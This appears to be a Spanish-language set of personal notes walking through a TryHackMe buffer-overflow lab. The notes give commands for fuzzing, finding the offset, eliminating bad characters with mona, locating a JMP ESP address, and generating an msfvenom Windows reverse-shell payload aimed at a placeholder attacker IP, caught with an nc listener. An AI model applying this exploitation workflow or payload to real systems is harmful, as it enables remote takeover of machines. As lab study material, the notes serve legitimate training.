
TryHackMe Buffer Overflow 10
Linux
python fuzzer.py
)
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000 o se puede usar esto msf-pattern_create -l 1000
)
Reiniciar app python3 exploit.py
!mona findmsp -distance 1000
)
Ahora cambiamos el offset en el archivo de exploit.py al numero offset 537 Y tambien rtn le ponemos un valor de “BBBB”
Reiniciar app
!mona bytearray -b “\x00”
chequear que bytearray.bin este generado en el folder de mona Reiniciar app
python3 bad_characters.py
)
Reiniciar app Pegar el output a payload python3 exploit.py
!mona compare -f C:\mona\oscp\bytearray.bin -a
escribimos los bad chars 00 a0 a1 ad ae be bf de df ef f0
Donde dice ESP le damos click derecho y Follow in Dump
)
Le quitamos el xa0 del payload hasta llegar al ultimo bad_char
)
Ahora el bad char es: \x00\xa0
Donde dice ESP le damos click derecho y Follow in Dump
)
Le quitamos el xad del payload hasta llegar al ultimo bad_char
)
Ahora el bad char es: be bf de df ef f0 \x00\xa0\xad
Donde dice ESP le damos click derecho y Follow in Dump
)
Le quitamos el xbe del payload hasta llegar al ultimo bad_char
)
Ahora el bad char es: de df ef f0
Donde dice ESP le damos click derecho y Follow in Dump
)
Le quitamos el xbe del payload hasta llegar al ultimo bad_char
)
Ahora el bad char es: ef f0 \x00\xa0\xad\xbe\xde\xef\
Donde dice ESP le damos click derecho y Follow in Dump
)
Le quitamos el xef del payload hasta llegar al ultimo bad_char
)
Ahora el bad char es: \x00\xa0\xad\xbe\xde\xef\
—Al terminar cambiando todos los bad chars deberia de salir unmodified como ultimo paso y nada de bad_chars
!mona jmp -r esp -cpb “\x00\xa0\xad\xbe\xde\xef”
Vamos a Window->Log data Agarramos el numero # y despues lo escribos alreves por ejemplo 625011af seria \xaf\x11\x50\x62
cambiamos el rtn y iniciamos payload=” esto en exploit.py
msfvenom -p windows/shell_reverse_tcp LHOST=KALI_IP LPORT=4444 EXITFUNC=thread -b “\x00\xa0\xad\xbe\xde\xef” -f c
padding = “\x90” * 16 nc -lvnp 4444